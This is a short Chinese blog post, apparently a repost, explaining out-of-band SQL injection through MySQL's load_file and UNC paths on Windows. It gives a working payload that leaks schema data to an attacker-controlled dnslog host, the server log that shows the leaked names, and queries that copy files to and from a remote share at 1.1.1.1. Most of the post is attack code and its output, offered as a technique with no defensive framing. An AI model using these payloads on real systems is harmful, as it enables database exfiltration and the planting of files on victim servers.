博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
关于sql注入远程读取文件
阅读量:6911 次
发布时间:2019-06-27

本文共 860 字,大约阅读时间需要 2 分钟。

hot3.png

准备工作:先来设置windows2003开启匿名共享

我们知道win中访问远程目录的写法是\\123.123.123.123\a 

那么我们可以使用mysql的load_file函数去读远程文件,而如果这个远程ip是我们预先设定并监控的,抓一下80的log会看到什么呢?让我们试一下。 

执行这个语句 

select load_file(concat('\\\\bb131f.dnslog.info\\',(select concat(table_schema,table_name,column_name) from information_schema.columns limit 0,1)));

日志里看到的什么呢? 

[03/Mar/2015:18:33:49 +0800] 124.205.254.6 - - bb131f.dnslog.info OPTIONS / HTTP/1.1 200 "Microsoft-WebDAV-MiniRedir/5.1.2600" [03/Mar/2015:18:33:50 +0800] 124.205.254.6 - - bb131f.dnslog.info PROPFIND /information_schemaCHARACTER_SETSCHARACTER_SET_NAM HTTP/1.1 405 "Microsoft-WebDAV-MiniRedir/5.1.2600"

哦呵呵呵 把注入语句的结果回显回来了,由于windows的特性访问ipc会webdav访问一下80端口。 

导入外部的文件到本地

select load_file("\\\\1.1.1.1\\1.txt") into outfile 'c:\\1.txt'

写入到远程共享

select load_file('c:\\1.txt') into outfile  "\\\\1.1.1.1\\2.txt"

转载于:https://my.oschina.net/rookier/blog/390957

你可能感兴趣的文章
PHP 真正多线程的使用
查看>>
ip黑白名单防火墙frdev的原理与实现
查看>>
ajax全接触
查看>>
ps查看内存占用排序
查看>>
【BZOJ】4873: [Shoi2017]寿司餐厅
查看>>
【CodeForces】913 D. Too Easy Problems
查看>>
二十四种设计模式:命令模式(Command Pattern)
查看>>
Django 创建项目笔记
查看>>
Java B2B2C多用户商城 springcloud架构 - commonservice-eureka 项目构建过程(八)
查看>>
Apache Maven Compiler Plugin
查看>>
leetcode-852-山脉数组的峰顶索引
查看>>
EL表达式和JSTL标签快速入门
查看>>
微信小程序踩坑指南
查看>>
你了解HTTPS,但你可能不了解X.509
查看>>
SCRIPT1010: 缺少标识符 常见原因
查看>>
jquery里面获取div区块的宽度与高度
查看>>
Bootstrap 类解析
查看>>
查看MySQL是否在运行
查看>>
【转】从MVC到前后端分离
查看>>
七夕专场-A题
查看>>